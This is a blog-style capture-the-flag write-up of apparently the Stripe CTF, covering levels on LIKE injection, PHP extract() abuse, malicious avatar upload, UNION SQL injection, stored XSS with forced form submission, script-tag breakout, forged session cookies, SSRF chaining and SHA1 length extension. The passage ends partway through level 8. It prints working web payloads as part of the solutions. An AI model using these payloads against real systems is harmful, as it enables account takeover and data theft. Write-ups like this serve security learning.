<p>The key is actually stored as <code>namespace.key</code>.  So the “exploit” is just to enter <code>%</code> as the namespace, and voilà, every secret is revealed.  The db doesn’t know the difference between a <code>%</code> in your literal query and a <code>%</code> in your bound parameter, so any key containing a period (i.e., all of them) is selected.  I suppose you’d call this LIKE injection.</p>

<p>It’s not vanilla SQL injection, but it relies on the same principle as all injections: dropping arbitrary data blindly into a structured format.</p>

<h2 id="level-1-guessing-game">Level 1: Guessing Game</h2>

<p>PHP this time, and a similar idea, really.  Enter the password, receive the data, which is stored in a file.</p>

<p>This one relied on recognizing a hilariously awful standard PHP function:</p>

<div class="bogus-wrapper"><notextile><figure class="code"> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
</pre></td><td class="code"><pre><code class="php"><span class="line"><span class="x">      $filename = &#39;secret-combination.txt&#39;;</span>
</span><span class="line"><span class="x">      extract($_GET);</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p><code>extract()</code> takes all the keys of a hash and dumps them into your local namespace, as variables.  The line above implements the infamous <code>register_globals</code>.</p>

<p>That’s just a low blow, Stripe.  :)</p>

<p>Solution, then, is to use a query string of <code>?attempt=&amp;filename=junk</code>.  The file won’t exist, PHP will cheerfully read it and return something falsey, and that’ll compare equal to the empty string.</p>

<p>The vulnerability here is called “PHP”.  Yeah, whatever, PHP runs Facebook, I don’t care, go away.</p>

<h2 id="level-2-social-network">Level 2: Social Network</h2>

<p>PHP again.  Now we’re getting into exploits I have, tragically, actually seen in the wild.  The password is still stored in a file (that cannot be read directly), but now the only real entry point to the program is uploading an avatar.</p>

<p>So.  Yeah.</p>

<div class="bogus-wrapper"><notextile><figure class="code"><figcaption><span>my_avatar.php </span></figcaption>
 <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
</pre></td><td class="code"><pre><code class="php"><span class="line"><span class="cp">&lt;?php</span> <span class="k">echo</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">&#39;../password.txt&#39;</span><span class="p">);</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>Upload that as your avatar and visit the URL.  PHP injection.</p>

<p>Props to level 1 for reminding me that <code>file_get_contents</code> exists.</p>

<h2 id="level-3-secret-vault">Level 3: Secret Vault</h2>

<p>Level 2 was the last of the PHP puzzles.  Now we’re getting serious.  This one is a <a href="http://flask.pocoo.org/">Flask</a> app—i.e., Python.</p>

<p>This is a sequel to the Secret Safe, but it’s the same general idea, except that namespaces and keys have been replaced with genuine usernames and passwords.</p>

<p>A glance over the code, and something stands out:</p>

<div class="bogus-wrapper"><notextile><figure class="code"> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
</pre></td><td class="code"><pre><code class="python"><span class="line">    <span class="n">query</span> <span class="o">=</span> <span class="s">&quot;&quot;&quot;SELECT id, password_hash, salt FROM users</span>
</span><span class="line"><span class="s">               WHERE username = &#39;{0}&#39; LIMIT 1&quot;&quot;&quot;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">username</span><span class="p">)</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>This, then, is the obligatory SQL injection puzzle.</p>

<p>I am shamed to admit I took a few minutes on this—way longer than I should have.  I tried to trick SQLite into running multiple statements here, or embedding an <code>INSERT</code>/<code>UPDATE</code> inside this <code>SELECT</code>.  Those don’t work, which is good.</p>

<p>I didn’t get it until I rephrased the question as: how can I trick this query into retrieving data that’s <em>not</em> really from the <code>users</code> table?</p>

<p>Oh, right.  New username:</p>

<pre><code>' UNION SELECT (select id from users where username = 'bob'), '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae', '
</code></pre>

<p>Which produces the final query:</p>

<div class="bogus-wrapper"><notextile><figure class="code"> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
</pre></td><td class="code"><pre><code class="sql"><span class="line"><span class="k">SELECT</span> <span class="n">id</span><span class="p">,</span> <span class="n">password_hash</span><span class="p">,</span> <span class="n">salt</span> <span class="k">FROM</span> <span class="n">users</span> <span class="k">WHERE</span> <span class="n">username</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span>
</span><span class="line"><span class="k">UNION</span>
</span><span class="line"><span class="k">SELECT</span> <span class="p">(</span><span class="k">select</span> <span class="n">id</span> <span class="k">from</span> <span class="n">users</span> <span class="k">where</span> <span class="n">username</span> <span class="o">=</span> <span class="s1">&#39;bob&#39;</span><span class="p">),</span> <span class="s1">&#39;2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae&#39;</span><span class="p">,</span> <span class="s1">&#39;&#39;</span>
</span><span class="line"><span class="k">LIMIT</span> <span class="mi">1</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>There are no usernames of <code>''</code>, so the first <code>SELECT</code> doesn’t find anything.  The second one pretends to be <code>bob</code>’s id, a constructed SHA1 hash, and an empty salt.  Result is a single row that tricks the app into thinking my password of “foo” is correct.</p>

<h2 id="level-4-karma-trader">Level 4: Karma Trader</h2>

<p>A Ruby app, built on Sinatra.  I can’t beat the original description:</p>

<blockquote>
  <p>The Karma Trader is the world’s best way to reward people for good deeds. You can sign up for an account, and start transferring karma to people who you think are doing good in the world. In order to ensure you’re transferring karma only to good people, transferring karma to a user will also reveal your password to him or her.</p>
</blockquote>

<p>This should sound more ludicrous than it is, but I genuinely believe there are people in the world who would think this is a great idea.</p>

<p>The gimmick here is that an existing user, <code>karma_fountain</code>, has both unlimited karma and also the password to level 5 as his own password.  To get it, obviously I need to make it look like <em>he</em> has give <em>me</em> karma.</p>

<p>This was hard.  Because there’s a catch.</p>

<p>The database access all uses Sequel (a little db library) and bound params, so there’s no SQL injection.  There are no silly oversights like <code>extract</code>.  I can create as many users as I want, but I can only make them send karma to each other; I can’t make anything that looks like <code>karma_fountain</code>.</p>

<p>There are no obvious exploits.  I can’t fake anything on the server.</p>

<p>I was going slightly crazy until I noticed some hints.</p>

<p>Perhaps you read Encyclopedia Brown books, or similar kid mysteries.  I loved those.  I started tearing through them once I noticed that most of the solutions revolved around some minor detail that received undue importance in the story, like just how many quarts of water were given to dogs before a race.</p>

<p>And so it was here.  Quite a lot of code, relative to the size of this dinky app, is dedicated to updating and displaying a <code>last_active</code> timestamp.  That’s utterly pointless; I’m the only one using this thing, and I know when I’ve been active.</p>

<p>But wait!  From the app itself:</p>

<blockquote>
  <p>If you’re anything like <strong>karma_fountain</strong>, you’ll find yourself logging in every minute to see what new and exciting developments are afoot on the platform.</p>
</blockquote>

<p>Below this is a list of all registered users, and their last-active timestamps.</p>

<p><code>karma_fountain</code> did indeed have a very recent timestamp.</p>

<p>I refreshed the page.</p>

<p>The timestamp advanced by precisely one minute.</p>

<p>Brilliant.</p>

<p>That made the solution obvious: I created a new account with a password of:</p>

<pre><code>&lt;form id="x" method="post" action="transfer"&gt;&lt;input type="hidden" name="to" value="eevee2"&gt;&lt;input type="hidden" name="amount" value="100000"&gt;&lt;/form&gt;&lt;script&gt;document.getElementById('x').submit();&lt;/script&gt;
</code></pre>

<p>Then I sent <code>karma_fountain</code> a single karma.  One minute later, the bot hit the page again, dutifully executed my XSS, and sent me ten thousand karma and the next password.</p>

<p>(The bot is still going; as of this writing i have 60000499 karma.)</p>

<h2 id="level-5-domain-authenticator">Level 5: Domain Authenticator</h2>

<p>Ruby and Sinatra again.  The app implements a federated identity system: you provide a username, password, and URL.  It posts your username and password to the URL, and if the response is <code>AUTHENTICATED</code>, it considers you as logged in.  If you log in with a URL hosted on a <code>level05-*.stripe-ctf.com</code> machine, it’ll also tell you the password for level 6.</p>

<p>The trick, of course, is that nothing running on the machine actually <em>implements</em> this protocol, and in fact there is no implemented provided at all.</p>

<p>There is one more hint: the production app can only make requests to <code>*.stripe-ctf.com</code> machines, <em>but</em> someone “forgot” to firewall off the ports on the level 2 machines.  You know, those machines that let me upload and run any code I want.  So, that’s nice.</p>

<p>This one was <em>good</em>.  I actually didn’t really solve it.  I found most of the solution, but then I accidentally tripped over something else that was even better.</p>

<h3 id="my-solution">My solution</h3>

<p>I entered a URL with letters in the port.  The app crashed and showed me a generic Rack error page, with debugging information.</p>

<p>Now, much like Flask, Rack (and thus Sinatra) handles sessions by default by serializing a hash, tacking on a signature, and storing the whole shebang in a cookie.  The upside is that this doesn’t require any server-side setup or maintenance whatsoever.  The downside is that this is fucking bozotic, because it let me do the following.</p>

<p>You see, the Rack debug page <em>exposes the key used to sign session cookies</em>.</p>

<p>With that, it wasn’t particularly difficult to construct a fake cookie that claimed I had already been authenticated by <code>level05-2.stripe-ctf.com</code>.  (I actually ran into a bit of trouble here: I took the original cookie from Firefox, but tried to inject it in Chromium, which already had a cookie editor installed.  It took me a few minutes to notice that Rack also tracks your user agent in your cookie, and ignores it if the cookie and browser don’t match.  So, minor props there.  Then I found out that Firebug can edit cookies; problem solved.)</p>

<p><a href="https://twitter.com/kevinlange">@kevinlange</a> later pointed out to me that this actually works for all three Rack puzzles: 4, 5, and 6.  I believe he informed Stripe of the unintended exploit, and it was fixed the next day: errors now serve the generic Apache 500 page.</p>

<p>I wasn’t quite sure whether this was intentional or not; after all, it was a legitimate exploit, but it didn’t require mucking with level 2 at all.  But I had access to level 6, so whatever.</p>

<h3 id="the-real-solution">The real solution</h3>

<p>The username and password are, of course, an irrelevant distraction.  There’s no list of usernames and passwords anywhere, so they can’t possibly matter.</p>

<p>The real puzzle here is tricking the app into thinking <code>level05</code> has verified you.  And since there’s only one thing running on <code>level05</code>, the puzzle is tricking the app into thinking <em>it</em> has verified you.</p>

<p>The first step is to try feeding the app to itself as the URL.  That produces:</p>

<pre><code>An unknown error occurred while requesting https://level05-2.stripe-ctf.com/user-abcdefghij/: 500 Internal Server Error
</code></pre>

<p>The app is calling itself, but the second call has no pingback URL, so it gets confused and dies.  Hmm.</p>

<p>Lucky for me, the app examines <code>params</code>, which is a combined hash of <em>both</em> <code>GET</code> and <code>POST</code> data.  So I can make it not crash, at least, by feeding it <code>https://level05-2.stripe-ctf.com/user-vmscdesvlp/?pingback=www.google.com</code>.</p>

<pre><code>Remote server responded with: Host not allowed: www.google.com (allowed authentication hosts are /\.stripe-ctf\.com$/). Unable to authenticate as foo@level05-2.stripe-ctf.com.
</code></pre>

<p>A valiant start.  I can keep this loop going as long as I please, but without an actual authentication somewhere, I won’t get very far.  And that’s where the level 2 servers come in.</p>

<div class="bogus-wrapper"><notextile><figure class="code"><figcaption><span>pingback.php </span></figcaption>
 <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
</pre></td><td class="code"><pre><code class="php"><span class="line"><span class="x"> AUTHENTICATED</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>I don’t know why they mentioned “high ports” not being firewalled off; the above is all you need.  There’s already an HTTP server running, after all.</p>

<p>Upload this guy, try to authenticate as <code>https://level02-2.stripe-ctf.com/user-zlbgqlkyoe/uploads/pingback.php</code>, and I get:</p>

<pre><code>Remote server responded with: AUTHENTICATED.  Authenticated as foo@level02-2.stripe-ctf.com!
</code></pre>

<p>Wrong server, but getting there.</p>

<p>This is actually as far as I got before accidentally breaking Rack, but the rest isn’t too difficult.  The actual check for authentication uses the following regex:</p>

<div class="bogus-wrapper"><notextile><figure class="code"> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
</pre></td><td class="code"><pre><code class="ruby"><span class="line">      <span class="n">body</span> <span class="o">=~</span> <span class="sr">/[^\w]AUTHENTICATED[^\w]*$/</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>(That’s why I have an extra space in <code>pingback.php</code>: to match the weird <code>[^\w]</code> atom.  Should be <code>\b</code>, but, whatever.)</p>

<p>Trouble is brewing: how can I trick the <code>level05</code> app into putting the word “AUTHENTICATED” at the end of a response?  It always prints trailing literal text!</p>

<p>Well, it’s an uncommonly known quirk (and hilarious potential source of <a href="http://homakov.blogspot.com/2012/05/saferweb-injects-in-various-ruby.html">exploits</a>—like this one!) of Ruby regular expressions that they are treated as <em>multiline by default</em>.  That means <code>^</code> and <code>$</code> don’t match the beginning or end of a string; they match the beginning or end of a <em>line</em>.</p>

<p>Now the solution is easy peasy.  In fact, I don’t even have to do anything, because my <code>pingback.php</code> already contains a trailing newline.  The final URL
is <code>https://level05-2.stripe-ctf.com/user-vmscdesvlp/?pingback=https://level02-2.stripe-ctf.com/user-zlbgqlkyoe/uploads/pingback.php</code> and we’re off to the races.</p>

<pre><code>Remote server responded with: Remote server responded with: AUTHENTICATED . Authenticated as foo@level02-2.stripe-ctf.com!. Authenticated as foo@level05-2.stripe-ctf.com!
</code></pre>

<p>The newline became a space in HTML land, of course.</p>

<p>Back to the main page, and the password is revealed.</p>

<h2 id="level-6-streamer">Level 6: Streamer</h2>

<p>The last of the Ruby/Sinatra puzzles.  This is a little “stream of posts” app, built with Bootstrap and jQuery.  Once again, I have an automated friend, except now he taunts me over time:</p>

<blockquote>
  <p>Streamer is <em>soo</em> secure</p>
</blockquote>

<p>Yes, we’ll see about that.</p>

<p>Again, his password is the password to the next level.  I’m told in advance that his password contains some number of quotation marks and apostrophes, and I can see from the code that any such characters anywhere in any request cause an immediate abort.  Lame.  I do know that his password appears on the user info page, but of course, only if you’re logged in as him.</p>

<p>XSS and CSRF seem to be no good here; the template is actually escaping things now.  (Shame on someone for not making that the default.)  But this is the first puzzle with client-side JavaScript.  After some useless futzing with bogus usernames, that seems promising.</p>

<div class="bogus-wrapper"><notextile><figure class="code"> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
<span class="line-number">6</span>
<span class="line-number">7</span>
<span class="line-number">8</span>
<span class="line-number">9</span>
<span class="line-number">10</span>
<span class="line-number">11</span>
<span class="line-number">12</span>
<span class="line-number">13</span>
<span class="line-number">14</span>
<span class="line-number">15</span>
<span class="line-number">16</span>
<span class="line-number">17</span>
</pre></td><td class="code"><pre><code class="js"><span class="line">      <span class="kd">var</span> <span class="nx">username</span> <span class="o">=</span> <span class="s2">&quot;&lt;%= @username %&gt;&quot;</span><span class="p">;</span>
</span><span class="line">      <span class="kd">var</span> <span class="nx">post_data</span> <span class="o">=</span> <span class="o">&lt;%=</span> <span class="err">@</span><span class="nx">posts</span><span class="p">.</span><span class="nx">to_json</span> <span class="o">%&gt;</span><span class="p">;</span>
</span><span class="line">
</span><span class="line">      <span class="kd">function</span> <span class="nx">escapeHTML</span><span class="p">(</span><span class="nx">val</span><span class="p">)</span> <span class="p">{</span>
</span><span class="line">        <span class="k">return</span> <span class="nx">$</span><span class="p">(</span><span class="s1">&#39;&lt;div/&gt;&#39;</span><span class="p">).</span><span class="nx">text</span><span class="p">(</span><span class="nx">val</span><span class="p">).</span><span class="nx">html</span><span class="p">();</span>
</span><span class="line">      <span class="p">}</span>
</span><span class="line">      <span class="kd">function</span> <span class="nx">addPost</span><span class="p">(</span><span class="nx">item</span><span class="p">)</span> <span class="p">{</span>
</span><span class="line">        <span class="kd">var</span> <span class="nx">new_element</span> <span class="o">=</span> <span class="s1">&#39;&lt;tr&gt;&lt;th&gt;&#39;</span> <span class="o">+</span> <span class="nx">escapeHTML</span><span class="p">(</span><span class="nx">item</span><span class="p">[</span><span class="s1">&#39;user&#39;</span><span class="p">])</span> <span class="o">+</span>
</span><span class="line">            <span class="s1">&#39;&lt;/th&gt;&lt;td&gt;&lt;h4&gt;&#39;</span> <span class="o">+</span> <span class="nx">escapeHTML</span><span class="p">(</span><span class="nx">item</span><span class="p">[</span><span class="s1">&#39;title&#39;</span><span class="p">])</span> <span class="o">+</span> <span class="s1">&#39;&lt;/h4&gt;&#39;</span> <span class="o">+</span>
</span><span class="line">            <span class="nx">escapeHTML</span><span class="p">(</span><span class="nx">item</span><span class="p">[</span><span class="s1">&#39;body&#39;</span><span class="p">])</span> <span class="o">+</span> <span class="s1">&#39;&lt;/td&gt;&lt;/tr&gt;&#39;</span><span class="p">;</span>
</span><span class="line">        <span class="nx">$</span><span class="p">(</span><span class="s1">&#39;#posts &gt; tbody:last&#39;</span><span class="p">).</span><span class="nx">prepend</span><span class="p">(</span><span class="nx">new_element</span><span class="p">);</span>
</span><span class="line">      <span class="p">}</span>
</span><span class="line">
</span><span class="line">      <span class="k">for</span><span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">post_data</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span><span class="line">        <span class="kd">var</span> <span class="nx">item</span> <span class="o">=</span> <span class="nx">post_data</span><span class="p">[</span><span class="nx">i</span><span class="p">];</span>
</span><span class="line">        <span class="nx">addPost</span><span class="p">(</span><span class="nx">item</span><span class="p">);</span>
</span><span class="line">      <span class="p">};</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>There are only a few places user data gets put in here: the username and the posts.  The username is easily breakable, but that only affects <em>me</em> here.  The post elements are escaped by the hacky but correct <code>escapeHTML</code> function.  So what does that leave?</p>

<p>It leaves JSON.</p>

<p>JSON is structured, yes, but it doesn’t know or care about HTML.  After all, the JSON representation of <code>&lt;b&gt;</code> is just <code>"&lt;b&gt;"</code>, and the JSON representation of <code>&lt;/script&gt;</code> is just <code>"&lt;/script&gt;"</code>, the one thing that can break out of an inline script tag.</p>

<p>So I can just write a post like this:</p>

<pre><code>&lt;/script&gt;&lt;script&gt;alert("gotcha");
</code></pre>

<p>And the JS will execute.</p>

<p>But wait!  I’m not allowed to send any data that contains quotes or apostrophes.  This really <em>is</em> super secure!</p>

<p>Unless I make it:</p>

<pre><code>&lt;/script&gt;&lt;script&gt;alert(String.fromCharCode(103, 111, 116, 99, 104, 97));
</code></pre>

<p>And that’s basically the solution.  Take advantage of the provided jQuery to fetch <code>user_info</code> on my friend’s behalf, extract the password, and post it as a message.  The final trick is remembering to somehow encode the password (as I’m told it also contains quotes); I just url-encoded the whole page and posted that.  Easy peasy.</p>

<h2 id="level-7-wafflecopter">Level 7: WaffleCopter</h2>

<p>Back to Python, but now we’ve moved on beyond websites: this is an API endpoint.  There’s a very simple web interface that tells me my API key and shows a lot of my API requests.</p>

<p>I’m supposed to make a request for a privileged waffle, but requests are signed with my API key.  They look like this:</p>

<pre><code>count=1&amp;lat=42.39561&amp;user_id=5&amp;long=-71.13051&amp;waffle=dream|sig:30d0ca71b00bbe5e649628b8a7f2f88f90e17c27
</code></pre>

<p>The signature is a SHA1 hash of my API key plus the rest of the request.</p>

<p>So.  Now what?  The database is solid.  There’s no other player here.  Surely I’m not supposed to just crack SHA1.  Surely.</p>

<p>Well, let’s see.  The first thing I notice is that the server code does its own parsing of the query:</p>

<div class="bogus-wrapper"><notextile><figure class="code"> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
<span class="line-number">6</span>
<span class="line-number">7</span>
<span class="line-number">8</span>
<span class="line-number">9</span>
</pre></td><td class="code"><pre><code class="python"><span class="line"><span class="k">def</span> <span class="nf">parse_params</span><span class="p">(</span><span class="n">raw_params</span><span class="p">):</span>
</span><span class="line">    <span class="n">pairs</span> <span class="o">=</span> <span class="n">raw_params</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">&#39;&amp;&#39;</span><span class="p">)</span>
</span><span class="line">    <span class="n">params</span> <span class="o">=</span> <span class="p">{}</span>
</span><span class="line">    <span class="k">for</span> <span class="n">pair</span> <span class="ow">in</span> <span class="n">pairs</span><span class="p">:</span>
</span><span class="line">        <span class="n">key</span><span class="p">,</span> <span class="n">val</span> <span class="o">=</span> <span class="n">pair</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">&#39;=&#39;</span><span class="p">)</span>
</span><span class="line">        <span class="n">key</span> <span class="o">=</span> <span class="n">urllib</span><span class="o">.</span><span class="n">unquote_plus</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
</span><span class="line">        <span class="n">val</span> <span class="o">=</span> <span class="n">urllib</span><span class="o">.</span><span class="n">unquote_plus</span><span class="p">(</span><span class="n">val</span><span class="p">)</span>
</span><span class="line">        <span class="n">params</span><span class="p">[</span><span class="n">key</span><span class="p">]</span> <span class="o">=</span> <span class="n">val</span>
</span><span class="line">    <span class="k">return</span> <span class="n">params</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>This is standard affair, with the lone exception that it doesn’t do anything special to handle multiple values for the same key.  But that doesn’t help me; I only know how to sign my own requests, and adding more junk data to those isn’t helpful.</p>

<p>I flail around for a bit.  Then I notice this.</p>

<div class="bogus-wrapper"><notextile><figure class="code"> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
</pre></td><td class="code"><pre><code class="python"><span class="line"><span class="nd">@app.route</span><span class="p">(</span><span class="s">&#39;/logs/&lt;int:id&gt;&#39;</span><span class="p">)</span>
</span><span class="line"><span class="nd">@require_authentication</span>
</span><span class="line"><span class="k">def</span> <span class="nf">logs</span><span class="p">(</span><span class="nb">id</span><span class="p">):</span>
</span><span class="line">    <span class="n">rows</span> <span class="o">=</span> <span class="n">get_logs</span><span class="p">(</span><span class="nb">id</span><span class="p">)</span>
</span><span class="line">    <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">&#39;logs.html&#39;</span><span class="p">,</span> <span class="n">logs</span><span class="o">=</span><span class="n">rows</span><span class="p">)</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>This block only lets registered users see API logs, but it <em>doesn’t check which user you are</em>.  And sure enough, I can visit <code>/logs/2</code> and see some requests for privileged waffles!  But, alas, nobody has requested the particular waffle I <em>need</em>, which rules out a replay attack.  If I could take one of these requests and just run it with a different waffle…!  But I cannot.</p>

<p>OR CAN I.</p>

<p>I couldn’t think of anything to attack besides the hash itself.  SHA1 has some theoretical weaknesses that make it simpler to attack than mere brute-forcing, but nothing practical, or that I could reasonably be expected to do here.</p>

<p>I <em>do</em> know that SHA1, like many hash algorithms, operates on blocks at a time.  I also know that I can <em>add</em> to an existing request, because later keys overwrite previous ones.</p>

<p>And this was enough to shake loose an old memory: you can attack hashes by appending to the message.  The googles swiftly told me that this is called a hash length extension attack (creative!).  The googles also provided an <a href="http://www.vnsecurity.net/t/length-extension-attack/">implementation for SHA1</a>, saving me the trouble of figuring out how to recreate a hash function’s last internal state.</p>

<p>All I need to know is the length of the key—which I have, because mine is the same length—and the hash of my existing message.  The attack implementation tacked on a bunch of NULs until the end of the block, tacked on my extra <code>&amp;waffle=liege</code>, and computed a new hash without ever knowing user 2’s key.  Chuck it at the API endpoint and I unlock level 8.</p>

<p>That last part ended up being surprisingly painful.  I fucked around with curl for at least ten minutes trying to get it to send the request correctly, but it never worked quite right, even using <code>--data-binary</code> and a file.  (I had to send <em>literal NULs</em> in the request; the server checks the signature <em>before</em> doing any url-decoding.)  In the end I just hacked up <code>client.py</code> to send my forged request instead of computing a real one.</p>

<p>This level is a little unnerving, because the code <em>almost</em> does everything right.  Ignoring all but one parameter in the presence of duplicates is reasonable and ubiquitous.  SHA1 is still fairly solid.  The API log leak was an oversight, but a pretty minor one.  And using a hash with a “salt” as a signature sure sounds like it should be reliable.  How many people have honestly heard of hash length extension (well, more have now) and will remember to think about it when writing code like this?  A few very minor mistakes allowed me to break this application wide open.  Imagine if this were a real ordering system; I could use someone else’s request and replace the item and the delivery “address”, then order whatever I wanted.</p>

<p>The Right Thing would be to use HMAC, which is built for exactly this purpose (verifying messages), and which demonstrates once again that <strong>you should not ever write crypto code</strong>, even if it’s just assembling some stuff to pass to SHA1.</p>

<p>It’s kind of funny that the code I found came from another sec challenge, though.</p>

<h2 id="level-8-passworddb">Level 8: PasswordDB</h2>

<p>The final boss.  I was the <em>third</em> player to get this far.</p>

<p>A Python app, again.  But not Flask.  No, not Flask, because it doesn’t even have a real Web interface.  It speaks HTTP, but it only takes a JSON blob and spits one back out at you.</p>

<p>No, no, not Flask.  This is <a href="http://twistedmatrix.com/trac/">Twisted</a>.</p>

<p><strong>Awesome.</strong></p>

<p>Here’s the deal: they wrote a service that acts as a little password vault for the final password.  It listens on HTTP for a JSON blob containing a possible password, and either confirms or denies that the password is correct.  As a helpful secondary feature, I can also provide a list of host/port pairs for it to ping (“webhooks”) with the same response it gives to me, so this service can be used for remote authentication or something.</p>

<p>There is no database.  There is no JavaScript, no HTML.  The password isn’t even stored in the primary service: it’s broken into four pieces and given to four other processes, then forgotten.  When the master service gets a request, it breaks the given password into four chunks, connects to the other processes one at a time via TCP, and checks that each chunk is valid.  As soon as a chunk is reported invalid, the master service stops trying and reports a failure to the client.</p>

<p>As a clue, the description emphasizes that level 2 is not correctly firewalled, and lets slip that it even has <code>sshd</code> running.  Which is nice, because the master service once again only connects to other machines in the Stripe network.</p>

<p>And that’s all I get.</p>

<p><em>Hmmmmm.</em></p>

<p>I freely admit I spent the rest of the afternoon and evening puzzling over this.  I downloaded it, I ran it locally, I found nothing.  I consulted blackhat friends and Twisted expert friends.  Nothing.  Even after they started sprinkling hints (explicitly mentioning the version of Twisted, emphasizing it was <em>not</em> a timing attack), the best I could find was…  er…  a timing attack.  Which didn’t work.  I read over Twisted’s changelog half a dozen times looking for something, anything, that could make a crack of a difference.</p>

<p>The webhooks were useless; they just received the same information I did.  The <code>sshd</code> was useless, because it was only useful for using the webhooks.  The JSON encoding and decoding was solid.  I found a way to discover what ports the four side processes were bound to, but they were all bound to localhost, so that wasn’t helpful.  All I could think of was getting onto the actual machine and looking at the <code>argv</code> for the children, because that’s the only place the password still existed.  And that wasn’t really keeping with the spirit of this contest.</p>

<p>It wasn’t until late at night that the first player beat level 8, knocking me down to fourth on the <a href="https://stripe-ctf.com/leaderboard">leaderboard</a>.  Stripe released yet another hint: they’d changed the app slightly, so logged output would include the host and port instead of just an incrementing request id.  Still no idea.  It was clearly reasonable to brute-force one chunk at a time—the password was a 12-digit number, so this required only 4000 guesses—but there was no way to target only a single chunk.</p>

<p>I slept on it.</p>

<p>I woke up from dreams of networking.  Clearly it had to be the webhooks, but those didn’t send any useful information.  I joined <code>#level8</code> at the suggestion of a coworker, but only a few people had figured out the trick, and they weren’t saying anything helpful.</p>

<p>If the webhooks weren’t revealing anything <em>directly</em>, it had to be a side channel attack.  It absolutely, definitely wasn’t a timing attack.  So what else would a TCP connection reveal?</p>

<p>As a last resort, talking out loud helps.  I was convinced the chunk servers’ bound ports were still important, somehow.</p>

<pre><code>11:22 &lt; subleq&gt; i am completely stuck
11:22 &lt; eevee&gt; i am also lacking inspiration
11:23 &lt; hm_&gt; does chunk_Server ports matter ?
11:23 &lt; eevee&gt; i have ssh and nc and webhooks and my ports but these things do not go together usefully.  i am missing something
11:24 &lt; hm_&gt; i have chunks ports.. but i dont see how it matters in the method i m trying now
11:24 &lt; trevis_&gt; i would venture to say that ports dont really matter, at least with my approach
11:24 &lt; eevee&gt; i assume getting the ports was where the twisted version hint came from
11:24 &lt; eevee&gt; oh really
11:24 &lt; trevis_&gt; i have a working local, but remote fails pretty hard
11:25 &lt; hm_&gt; me too
11:25 &lt; hm_&gt; local find the chunks in minutes.. remote has lot of noise
11:25 &lt; subleq&gt; what noise?
11:25 &lt; trevis_&gt; remote, im barely even able to get requests out now it seems
11:25 &lt; subleq&gt; it can't be time, i can't measure a difference in time even locally
</code></pre>

<p>Ports, ports,  ports.  I better hurry if the server is already overloaded.  Ports, ports, ports.</p>

<p>Ports…</p>

<pre><code>11:26 &lt; eevee&gt; wait
11:26 &lt; eevee&gt; oh no
11:26 &lt; eevee&gt; oh no i think i get it
11:26 &lt; eevee&gt; oh fuck
</code></pre>

<p>I’ve never had IRC logs of a flash of inspiration before.</p>

<p><strong>Ports.</strong></p>

<p>It is common knowledge that services listen on a port.  Web servers, for example, tend to listen on port 80.  Most people who would describe themselves as computer-literate are, at least, dimly aware of this.</p>

<p>Slightly less common knowledge is that when you connect to a server, <em>you</em> use a port as well.  But it’s not a fixed, known port like 80; it’s just some random-ass big number.  When the server responds to you, it sends the response to this port, called an <em>ephemeral port</em> (because it’s released as soon as the connection ends).  I imagine most people who’ve done much networking know this, but nobody really thinks about it because it’s almost always handled automatically by very low-level networking code.</p>

<p>I performed a quick comparison.</p>

<p>With the latest Twisted, 12.something, the <em>client</em> ports used to <em>connect</em> to the chunk servers are effectively random.  Not useful at all.  With the Twisted version Stripe specified in their very first hint, the client ports are <em>consecutive</em>.</p>

<p>And that, my friends, is the exploit.</p>

<p>Allow me to illustrate.</p>

<ul>
  <li>I ask if the password is <code>111222333444</code>.</li>
  <li>The master server breaks it up into four chunks: <code>111</code>, <code>222</code>, <code>333</code>, <code>444</code>.</li>
  <li>The master server asks the first chunk server if its chunk is <code>111</code>.  This requires an ephemeral port, say, 50000.</li>
  <li>The chunk server responds with <em>yes</em>.</li>
  <li>The master server asks the second chunk server if its chunk is <code>222</code>.  Now the ephemeral port is 50001.</li>
  <li>This chunk server responds with <em>no</em>.</li>
  <li>The master server <strong>stops trying</strong> and dutifully tells me <em>no</em>.</li>
</ul>

